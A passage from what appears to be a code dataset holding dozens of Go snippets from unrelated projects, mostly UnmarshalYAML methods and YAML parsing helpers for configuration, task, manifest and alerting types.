{\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (v *LabelSet) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tlbSet := model.LabelSet{}\n\terr := unmarshal(&lbSet)\n\tif err != nil {\n\t\treturn err\n\t}\n\tv.LabelSet = lbSet\n\treturn nil\n}", "func (date *Date) UnmarshalYAML(value *yaml.Node) (err error) {\n\tvar d string\n\tif err = value.Decode(&d); err != nil {\n\t\treturn err\n\t}\n\t// check data format\n\tif err := checkDateFormat(d); err != nil {\n\t\treturn err\n\t}\n\n\t*date = Date(d)\n\treturn nil\n}", "func (d *Document) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&d.raw); err != nil {\n\t\treturn err\n\t}\n\n\tif err := d.init(); err != nil {\n\t\treturn fmt.Errorf(\"verifying YAML data: %s\", err)\n\t}\n\n\treturn nil\n}", "func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = unmarshaled.Ref\n\ts.Bind = unmarshaled.Bind\n\ts.Timeout = unmarshaled.Timeout\n\ts.PostTimeoutWaitingLimit = unmarshaled.PostTimeoutWaitingLimit\n\ts.Retry = unmarshaled.Retry\n\n\tp := protocol.Get(s.Protocol)\n\tif p == nil {\n\t\tif unmarshaled.Request != nil || unmarshaled.Expect != nil {\n\t\t\treturn errors.Errorf(\"unknown protocol: %s\", s.Protocol)\n\t\t}\n\t\treturn nil\n\t}\n\tif unmarshaled.Request != nil {\n\t\tinvoker, err := p.UnmarshalRequest(unmarshaled.Request)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ts.Request = invoker\n\t}\n\tbuilder, err := p.UnmarshalExpect(unmarshaled.Expect)\n\tif err != nil {\n\t\treturn err\n\t}\n\ts.Expect = builder\n\n\treturn nil\n}", "func (gc *GroupConfiguration) UnmarshalYAML(value *yaml.Node) error {\n\tif value.Kind != yaml.MappingNode {\n\t\treturn errors.New(\"expected mapping\")\n\t}\n\n\tgc.versions = make(map[string]*VersionConfiguration)\n\tvar lastId string\n\n\tfor i, c := range value.Content {\n\t\t// Grab identifiers and loop to handle the associated value\n\t\tif i%2 == 0 {\n\t\t\tlastId = c.Value\n\t\t\tcontinue\n\t\t}\n\n\t\t// Handle nested version metadata\n\t\tif c.Kind == yaml.MappingNode {\n\t\t\tv := NewVersionConfiguration(lastId)\n\t\t\terr := c.Decode(&v)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"decoding yaml for %q\", lastId)\n\t\t\t}\n\n\t\t\tgc.addVersion(lastId, v)\n\t\t\tcontinue\n\t\t}\n\n\t\t// $payloadType: <string>\n\t\tif strings.EqualFold(lastId, payloadTypeTag) && c.Kind == yaml.ScalarNode {\n\t\t\tswitch strings.ToLower(c.Value) {\n\t\t\tcase string(OmitEmptyProperties):\n\t\t\t\tgc.PayloadType.Set(OmitEmptyProperties)\n\t\t\tcase string(ExplicitCollections):\n\t\t\t\tgc.PayloadType.Set(ExplicitCollections)\n\t\t\tcase string(ExplicitProperties):\n\t\t\t\tgc.PayloadType.Set(ExplicitProperties)\n\t\t\tdefault:\n\t\t\t\treturn errors.Errorf(\"unknown %s value: %s.\", payloadTypeTag, c.Value)\n\t\t\t}\n\n\t\t\tcontinue\n\t\t}\n\n\t\t// No handler for this value, return an error\n\t\treturn errors.Errorf(\n\t\t\t\"group configuration, unexpected yaml value %s: %s (line %d col %d)\", lastId, c.Value, c.Line, c.Column)\n\t}\n\n\treturn nil\n}", "func (options *Options) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype defaults Options\n\tdefaultValues := defaults(*NewOptions())\n\n\tif err := unmarshal(&defaultValues); err != nil {\n\t\treturn err\n\t}\n\n\t*options = Options(defaultValues)\n\n\tif options.SingleLineDisplay {\n\t\toptions.ShowSummaryFooter = false\n\t\toptions.CollapseOnCompletion = false\n\t}\n\n\t// the global options must be available when parsing the task yaml (todo: does order matter?)\n\tglobalOptions = options\n\treturn nil\n}", "func (i *Int) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate int\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ti.set(candidate)\n\treturn nil\n}", "func (v *Int8) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val int8\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\tv.Val = val\n\tv.IsAssigned = true\n\treturn nil\n}", "func (f *Float64) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate float64\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\tf.set(candidate)\n\treturn nil\n}", "func (d *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\trate, err := ParseRate(s)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*d = rate\n\treturn nil\n}", "func (m *OrderedMap[K, V]) UnmarshalYAML(b []byte) error {\n\tvar s yaml.MapSlice\n\tif err := yaml.Unmarshal(b, &s); err != nil {\n\t\treturn err\n\t}\n\tif len(s) == 0 {\n\t\treturn nil\n\t}\n\tresult := OrderedMap[K, V]{\n\t\tidx: map[K]int{},\n\t\titems: make([]OrderedMapItem[K, V], len(s)),\n\t}\n\tfor i, item := range s {\n\t\tkb, err := yaml.Marshal(item.Key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar k K\n\t\tif err := yaml.Unmarshal(kb, &k); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvb, err := yaml.Marshal(item.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar v V\n\t\tif err := yaml.UnmarshalWithOptions(vb, &v, yaml.UseOrderedMap(), yaml.Strict()); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tresult.idx[k] = i\n\t\tresult.items[i].Key = k\n\t\tresult.items[i].Value = v\n\t}\n\t*m = result\n\treturn nil\n}", "func (moves *Moves) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar mvList []string\n\tif err := unmarshal(&mvList); err != nil {\n\t\treturn err\n\t}\n\n\tparsed, err := ParseMoves(mvList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t*moves = parsed\n\treturn nil\n}", "func (tf *Taskfile) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&tf.Tasks); err == nil {\n\t\ttf.Version = \"1\"\n\t\treturn nil\n\t}\n\n\tvar taskfile struct {\n\t\tVersion string\n\t\tExpansions int\n\t\tOutput string\n\t\tIncludes yaml.MapSlice\n\t\tVars Vars\n\t\tEnv Vars\n\t\tTasks Tasks\n\t}\n\tif err := unmarshal(&taskfile); err != nil {\n\t\treturn err\n\t}\n\ttf.Version = taskfile.Version\n\ttf.Expansions = taskfile.Expansions\n\ttf.Output = taskfile.Output\n\tincludes, defaultInclude, err := IncludesFromYaml(taskfile.Includes)\n\tif err != nil {\n\t\treturn err\n\t}\n\ttf.Includes = includes\n\ttf.IncludeDefaults = defaultInclude\n\ttf.Vars = taskfile.Vars\n\ttf.Env = taskfile.Env\n\ttf.Tasks = taskfile.Tasks\n\tif tf.Expansions <= 0 {\n\t\ttf.Expansions = 2\n\t}\n\treturn nil\n}", "func (c *PushoverConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultPushoverConfig\n\ttype plain PushoverConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\tif c.UserKey == \"\" {\n\t\treturn fmt.Errorf(\"missing user key in Pushover config\")\n\t}\n\tif c.Token == \"\" {\n\t\treturn fmt.Errorf(\"missing token in Pushover config\")\n\t}\n\treturn checkOverflow(c.XXX, \"pushover config\")\n}", "func (i *ImportDefinition) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\n\tif err := unmarshal(&s); err == nil {\n\t\ti.File = s\n\t\treturn nil\n\t}\n\tvar str struct {\n\t\tFile string `yaml:\"file,omitempty\"`\n\t\tRepository string `yaml:\"repository,omitempty\"`\n\t\tNamespaceURI string `yaml:\"namespace_uri,omitempty\"`\n\t\tNamespacePrefix string `yaml:\"namespace_prefix,omitempty\"`\n\t}\n\tif err := unmarshal(&str); err != nil {\n\t\treturn err\n\t}\n\ti.File = str.File\n\ti.Repository = str.Repository\n\ti.NamespaceURI = str.NamespaceURI\n\ti.NamespacePrefix = str.NamespacePrefix\n\treturn nil\n}", "func (rl *RunList) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar runSlice []*Run\n\tsliceCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runSlice) },\n\t\tAssign: func() { *rl = runSlice },\n\t}\n\n\tvar runItem *Run\n\titemCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *rl = RunList{runItem} },\n\t}\n\n\treturn marshal.UnmarshalOneOf(sliceCandidate, itemCandidate)\n}", "func (l *TestLimits) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif defaultTestLimits != nil {\n\t\t*l = *defaultTestLimits\n\t}\n\ttype plain TestLimits\n\treturn unmarshal((*plain)(l))\n}", "func (m *Manifest) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar tmp map[string]interface{}\n\tif err := unmarshal(&tmp); err != nil {\n\t\treturn err\n\t}\n\n\tdata, err := json.Marshal(tmp)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn json.Unmarshal(data, m)\n}", "func (i *Interface) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn err\n\t}\n\n\tvar err error\n\t*i, err = InterfaceString(s)\n\treturn err\n}", "func (s *TokenStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar t string\n\terr := unmarshal(&t)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif val, ok := toStrategy[strings.ToLower(t)]; ok {\n\t\t*s = val\n\t\treturn nil\n\t}\n\n\treturn fmt.Errorf(\"'%s' is not a valid token strategy\", t)\n}", "func (w *CommandWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar str string\n\tif err = unmarshal(&str); err == nil {\n\t\tw.Command = str\n\t\treturn nil\n\t}\n\n\tvar commandArray []string\n\tif err = unmarshal(&commandArray); err == nil {\n\t\tw.Commands = commandArray\n\t\treturn nil\n\t}\n\treturn nil //TODO: should be an error , something like UNhhandledError\n}", "func (e *External) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar boolType bool\n\tif err := unmarshal(&boolType); err == nil {\n\t\te.External = boolType\n\t\treturn nil\n\t}\n\n\tvar structType = struct {\n\t\tName string\n\t}{}\n\tif err := unmarshal(&structType); err != nil {\n\t\treturn err\n\t}\n\tif structType.Name != \"\" {\n\t\te.External = true\n\t\te.Name = structType.Name\n\t}\n\treturn nil\n}", "func (a *ApprovalStrategy) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar j string\n\tif err := unmarshal(&j); err != nil {\n\t\treturn err\n\t}\n\t// Note that if the string cannot be found then it will be set to the zero value, 'Created' in this case.\n\t*a = approvalStrategyToID[strings.ToLower(j)]\n\treturn nil\n}", "func (key *PublicKey) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar str string\n\terr := unmarshal(&str)\n\tif err != nil {\n\t\treturn err\n\t}\n\t*key, err = NewPublicKey(str)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (t *Type) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value string\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tif err := t.Set(value); err != nil {\n\t\treturn fmt.Errorf(\"failed to parse '%s' to Type: %v\", value, err)\n\t}\n\n\treturn nil\n}", "func unmarshalStrict(data []byte, out interface{}) error {\n\tdec := yaml.NewDecoder(bytes.NewReader(data))\n\tdec.KnownFields(true)\n\tif err := dec.Decode(out); err != nil && !errors.Is(err, io.EOF) {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (conf *Config) UnmarshalYAML(value *yaml.Node) error {\n\ttype confAlias Config\n\taliased := confAlias(NewConfig())\n\n\terr := value.Decode(&aliased)\n\tif err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t}\n\n\tvar spec docs.ComponentSpec\n\tif aliased.Type, spec, err = docs.GetInferenceCandidateFromYAML(docs.DeprecatedProvider, docs.TypeOutput, value); err != nil {\n\t\treturn docs.NewLintError(value.Line, docs.LintComponentMissing, err.Error())\n\t}\n\n\tif spec.Plugin {\n\t\tpluginNode, err := docs.GetPluginConfigYAML(aliased.Type, value)\n\t\tif err != nil {\n\t\t\treturn docs.NewLintError(value.Line, docs.LintFailedRead, err.Error())\n\t\t}\n\t\taliased.Plugin = &pluginNode\n\t} else {\n\t\taliased.Plugin = nil\n\t}\n\n\t*conf = Config(aliased)\n\treturn nil\n}", "func (d *DataType) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar val string\n\tif err := unmarshal(&val); err != nil {\n\t\treturn err\n\t}\n\treturn d.FromString(val)\n}", "func unmarsharlYaml(byteArray []byte) Config {\n var cfg Config\n err := yaml.Unmarshal([]byte(byteArray), &cfg)\n if err != nil {\n log.Fatalf(\"error: %v\", err)\n }\n return cfg\n}", "func LoadYaml(data []byte) ([]runtime.Object, error) {\n\tparts := bytes.Split(data, []byte(\"---\"))\n\tvar r []runtime.Object\n\tfor _, part := range parts {\n\t\tpart = bytes.TrimSpace(part)\n\t\tif len(part) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tobj, _, err := scheme.Codecs.UniversalDeserializer().Decode([]byte(part), nil, nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tr = append(r, obj)\n\t}\n\treturn r, nil\n}", "func (z *Z) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Z struct {\n\t\tS *string `json:\"s\"`\n\t\tI *int32 `json:\"iVal\"`\n\t}\n\tvar dec Z\n\tif err := unmarshal(&dec); err != nil {\n\t\treturn err\n\t}\n\tif dec.S != nil {\n\t\tz.S = *dec.S\n\t}\n\tif dec.I != nil {\n\t\tz.I = *dec.I\n\t}\n\treturn nil\n}", "func (r *ScalingConfigOrT[_]) UnmarshalYAML(value *yaml.Node) error {\n\tif err := value.Decode(&r.ScalingConfig); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !r.ScalingConfig.IsEmpty() {\n\t\t// Successfully unmarshalled ScalingConfig fields, return\n\t\treturn nil\n\t}\n\n\tif err := value.Decode(&r.Value); err != nil {\n\t\treturn errors.New(`unable to unmarshal into int or composite-style map`)\n\t}\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype raw Config\n\tvar cfg raw\n\tif c.URL.URL != nil {\n\t\t// we used flags to set that value, which already has sane default.\n\t\tcfg = raw(*c)\n\t} else {\n\t\t// force sane defaults.\n\t\tcfg = raw{\n\t\t\tBackoffConfig: util.BackoffConfig{\n\t\t\t\tMaxBackoff: 5 * time.Second,\n\t\t\t\tMaxRetries: 5,\n\t\t\t\tMinBackoff: 100 * time.Millisecond,\n\t\t\t},\n\t\t\tBatchSize: 100 * 1024,\n\t\t\tBatchWait: 1 * time.Second,\n\t\t\tTimeout: 10 * time.Second,\n\t\t}\n\t}\n\n\tif err := unmarshal(&cfg); err != nil {\n\t\treturn err\n\t}\n\n\t*c = Config(cfg)\n\treturn nil\n}", "func (c *Scrubber) ScrubYaml(input []byte) ([]byte, error) {\n\tvar data *interface{}\n\terr := yaml.Unmarshal(input, &data)\n\n\t// if we can't load the yaml run the default scrubber on the input\n\tif err == nil {\n\t\twalk(data, func(key string, value interface{}) (bool, interface{}) {\n\t\t\tfor _, replacer := range c.singleLineReplacers {\n\t\t\t\tif replacer.YAMLKeyRegex == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tif replacer.YAMLKeyRegex.Match([]byte(key)) {\n\t\t\t\t\tif replacer.ProcessValue != nil {\n\t\t\t\t\t\treturn true, replacer.ProcessValue(value)\n\t\t\t\t\t}\n\t\t\t\t\treturn true, defaultReplacement\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false, \"\"\n\t\t})\n\n\t\tnewInput, err := yaml.Marshal(data)\n\t\tif err == nil {\n\t\t\tinput = newInput\n\t\t} else {\n\t\t\t// Since the scrubber is a dependency of the logger we can use it here.\n\t\t\tfmt.Fprintf(os.Stderr, \"error scrubbing YAML, falling back on text scrubber: %s\\n\", err)\n\t\t}\n\t}\n\treturn c.ScrubBytes(input)\n}", "func (c *SlackConfig) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultSlackConfig\n\ttype plain SlackConfig\n\tif err := unmarshal((*plain)(c)); err != nil {\n\t\treturn err\n\t}\n\treturn checkOverflow(c.XXX, \"slack config\")\n}", "func (version *Version) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar versionString string\n\terr := unmarshal(&versionString)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tnewVersion := Version(versionString)\n\tif _, err := newVersion.major(); err != nil {\n\t\treturn err\n\t}\n\n\tif _, err := newVersion.minor(); err != nil {\n\t\treturn err\n\t}\n\n\t*version = newVersion\n\treturn nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (r *OAuthFlow) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tobj := make(map[string]interface{})\n\tif err := unmarshal(&obj); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif value, ok := obj[\"authorizationUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.AuthorizationURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"tokenUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.TokenURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"refreshUrl\"]; ok {\n\t\tif value, ok := value.(string); ok {\n\t\t\tr.RefreshURL = value\n\t\t}\n\t}\n\n\tif value, ok := obj[\"scopes\"]; ok {\n\t\trbytes, err := yaml.Marshal(value)\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tvalue := map[string]string{}\n\t\tif err := yaml.Unmarshal(rbytes, &value); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tr.Scopes = value\n\t}\n\n\texts := Extensions{}\n\tif err := unmarshal(&exts); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tif len(exts) > 0 {\n\t\tr.Extensions = exts\n\t}\n\n\treturn nil\n}", "func (r *ParseKind) UnmarshalYAML(unmarshal func(v interface{}) error) error {\n\tvar s string\n\tif err := unmarshal(&s); err != nil {\n\t\treturn fmt.Errorf(\"ParseKind should be a string\")\n\t}\n\tv, ok := _ParseKindNameToValue[s]\n\tif !ok {\n\t\treturn fmt.Errorf(\"invalid ParseKind %q\", s)\n\t}\n\t*r = v\n\treturn nil\n}", "func ReUnmarshal(rc *promcfg.RelabelConfig) error {\n\ts, err := yaml.Marshal(rc)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to marshal relabel config: %s\", err)\n\t}\n\terr = yaml.Unmarshal(s, rc)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to re-unmarshal relabel config: %s\", err)\n\t}\n\treturn nil\n}", "func (r *Run) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar cl CommandList\n\tcommandCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&cl) },\n\t\tAssign: func() { *r = Run{Command: cl} },\n\t}\n\n\ttype runType Run // Use new type to avoid recursion\n\tvar runItem runType\n\trunCandidate := marshal.UnmarshalCandidate{\n\t\tUnmarshal: func() error { return unmarshal(&runItem) },\n\t\tAssign: func() { *r = Run(runItem) },\n\t\tValidate: func() error {\n\t\t\tactionUsedList := []bool{\n\t\t\t\tlen(runItem.Command) != 0,\n\t\t\t\tlen(runItem.SubTaskList) != 0,\n\t\t\t\trunItem.SetEnvironment != nil,\n\t\t\t}\n\n\t\t\tcount := 0\n\t\t\tfor _, isUsed := range actionUsedList {\n\t\t\t\tif isUsed {\n\t\t\t\t\tcount++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif count > 1 {\n\t\t\t\treturn errors.New(\"only one action can be defined in `run`\")\n\t\t\t}\n\n\t\t\treturn nil\n\t\t},\n\t}\n\n\treturn marshal.UnmarshalOneOf(commandCandidate, runCandidate)\n}", "func UnmarshalInlineYaml(obj map[string]interface{}, targetPath string) (err error) {\n\tnodeList := strings.Split(targetPath, \".\")\n\tif len(nodeList) == 0 {\n\t\treturn fmt.Errorf(\"targetPath '%v' length is zero after split\", targetPath)\n\t}\n\n\tcur := obj\n\tfor _, nname := range nodeList {\n\t\tndata, ok := cur[nname]\n\t\tif !ok || ndata == nil { // target path does not exist\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: '%v' is missing\",\n\t\t\t\ttargetPath, nname)\n\t\t}\n\t\tswitch nnode := ndata.(type) {\n\t\tcase map[string]interface{}:\n\t\t\tcur = nnode\n\t\tdefault: // target path type does not match\n\t\t\treturn fmt.Errorf(\"targetPath '%v' doest not exist in obj: \"+\n\t\t\t\t\"'%v' type is not map[string]interface{}\", targetPath, nname)\n\t\t}\n\t}\n\n\tfor dk, dv := range cur {\n\t\tswitch vnode := dv.(type) {\n\t\tcase string:\n\t\t\tvo := make(map[string]interface{})\n\t\t\tif err := yaml.Unmarshal([]byte(vnode), &vo); err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// Replace the original text yaml tree node with yaml objects\n\t\t\tcur[dk] = vo\n\t\t}\n\t}\n\treturn\n}", "func (w *BuildWrapper) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar err error\n\tvar buildString string\n\tif err = unmarshal(&buildString); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(str)\n\t\tw.BuildString = buildString\n\t\treturn nil\n\t}\n\t// if err != nil {\n\t// \treturn err\n\t// }\n\t// return json.Unmarshal([]byte(str), w)\n\n\tvar buildObject map[string]string\n\tif err = unmarshal(&buildObject); err == nil {\n\t\t//str := command\n\t\t//*w = CommandWrapper(commandArray[0])\n\t\tw.BuildObject = buildObject\n\t\treturn nil\n\t}\n\treturn nil //should be an error , something like UNhhandledError\n}", "func yamlDecode(ctx *pulumi.Context, text string, opts ...pulumi.InvokeOption) ([]map[string]interface{}, error) {\n\targs := struct {\n\t\tText string `pulumi:\"text\"`\n\t}{Text: text}\n\tvar ret struct {\n\t\tResult []map[string]interface{} `pulumi:\"result\"`\n\t}\n\n\tif err := ctx.Invoke(\"kubernetes:yaml:decode\", &args, &ret, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret.Result, nil\n}", "func (c *Config) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t*c = DefaultConfig\n\tc.LogsLabels = make(map[string]string)\n\ttype plain Config\n\treturn unmarshal((*plain)(c))\n}", "func (act *Action) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// creating anonimus struct to avoid recursion\n\tvar a struct {\n\t\tName ActionType `yaml:\"type\"`\n\t\tTimeout time.Duration `yaml:\"timeout,omitempty\"`\n\t\tOnFail onFailAction `yaml:\"on-fail,omitempty\"`\n\t\tInterval time.Duration `yaml:\"interval,omitempty\"`\n\t\tEnabled bool `yaml:\"enabled,omitempty\"`\n\t\tRecordPending bool `yaml:\"record-pending,omitempty\"`\n\t\tRole actionRole `yaml:\"role,omitempty\"`\n\t}\n\t// setting default\n\ta.Name = \"defaultName\"\n\ta.Timeout = 20 * time.Second\n\ta.OnFail = of_ignore\n\ta.Interval = 20 * time.Second\n\ta.Enabled = true\n\ta.RecordPending = false\n\ta.Role = ar_none\n\tif err := unmarshal(&a); err != nil {\n\t\treturn err\n\t}\n\t// copying into aim struct fields\n\t*act = Action{a.Name, a.Timeout, a.OnFail, a.Interval,\n\t\ta.Enabled, a.RecordPending, a.Role, nil}\n\treturn nil\n}", "func parseYaml(yaml string) (*UnstructuredManifest, error) {\n\trawYamlParsed := &map[string]interface{}{}\n\terr := yamlParser.Unmarshal([]byte(yaml), rawYamlParsed)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\trawJSON, err := json.Marshal(dyno.ConvertMapI2MapS(*rawYamlParsed))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tunstruct := meta_v1_unstruct.Unstructured{}\n\terr = unstruct.UnmarshalJSON(rawJSON)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmanifest := &UnstructuredManifest{\n\t\tunstruct: &unstruct,\n\t}\n\n\tlog.Printf(\"[DEBUG] %s Unstructed YAML: %+v\\n\", manifest, manifest.unstruct.UnstructuredContent())\n\treturn manifest, nil\n}", "func (r *Rate) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar value float64\n\tif err := unmarshal(&value); err != nil {\n\t\treturn err\n\t}\n\n\tparsed := Rate(value)\n\tif err := parsed.Validate(); err != nil {\n\t\treturn err\n\t}\n\n\t*r = parsed\n\n\treturn nil\n}", "func (s *TestFileParams) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype plain TestFileParams\n\tif err := unmarshal((*plain)(s)); err != nil {\n\t\treturn err\n\t}\n\tif s.Size == 0 {\n\t\treturn errors.New(\"File 'size' must be defined\")\n\t}\n\tif s.HistogramBucketPush == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_push' must be defined\")\n\t}\n\tif s.HistogramBucketPull == nil {\n\t\treturn errors.New(\"File 'histogram_bucket_pull' must be defined\")\n\t}\n\treturn nil\n}", "func (c *Count) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tif err := unmarshal(&c.AdvancedCount); err != nil {\n\t\tswitch err.(type) {\n\t\tcase *yaml.TypeError:\n\t\t\tbreak\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := c.AdvancedCount.IsValid(); err != nil {\n\t\treturn err\n\t}\n\n\tif !c.AdvancedCount.IsEmpty() {\n\t\t// Successfully unmarshalled AdvancedCount fields, return\n\t\treturn nil\n\t}\n\n\tif err := unmarshal(&c.Value); err != nil {\n\t\treturn errUnmarshalCountOpts\n\t}\n\treturn nil\n}", "func (p *PortMapping) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype Alias PortMapping\n\taux := &struct {\n\t\tProtocol string `json:\"protocol\"`\n\t\t*Alias\n\t}{\n\t\tAlias: (*Alias)(p),\n\t}\n\tif err := unmarshal(&aux); err != nil {\n\t\treturn err\n\t}\n\tif aux.Protocol != \"\" {\n\t\tval, ok := PortMappingProtocolNameToValue[strings.ToUpper(aux.Protocol)]\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"unknown protocol value: %s\", aux.Protocol)\n\t\t}\n\t\tp.Protocol = PortMappingProtocol(val)\n\t}\n\treturn nil\n}", "func (s *String) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar candidate string\n\tif err := unmarshal(&candidate); err != nil {\n\t\treturn err\n\t}\n\n\ts.set(candidate)\n\treturn nil\n}", "func (c *Scenario) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\ttype C Scenario\n\tnewConfig := (*C)(c)\n\tif err := unmarshal(&newConfig); err != nil {\n\t\treturn err\n\t}\n\tif c.Database == nil {\n\t\treturn fmt.Errorf(\"Database must not be empty\")\n\t}\n\tif c.Collection == nil {\n\t\treturn fmt.Errorf(\"Collection must not be empty\")\n\t}\n\tswitch p := c.Parallel; {\n\tcase p == nil:\n\t\tc.Parallel = Int(1)\n\tcase *p < 1:\n\t\treturn fmt.Errorf(\"Parallel must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.BufferSize; {\n\tcase s == nil:\n\t\tc.BufferSize = Int(1000)\n\tcase *s < 1:\n\t\treturn fmt.Errorf(\"BufferSize must be greater than or equal to 1\")\n\tdefault:\n\t}\n\tswitch s := c.Repeat; {\n\tcase s == nil:\n\t\tc.Repeat = Int(1)\n\tcase *s < 0:\n\t\treturn fmt.Errorf(\"Repeat must be greater than or equal to 0\")\n\tdefault:\n\t}\n\tif len(c.Queries) == 0 {\n\t\treturn fmt.Errorf(\"Queries must not be empty\")\n\t}\n\treturn nil\n}" ]
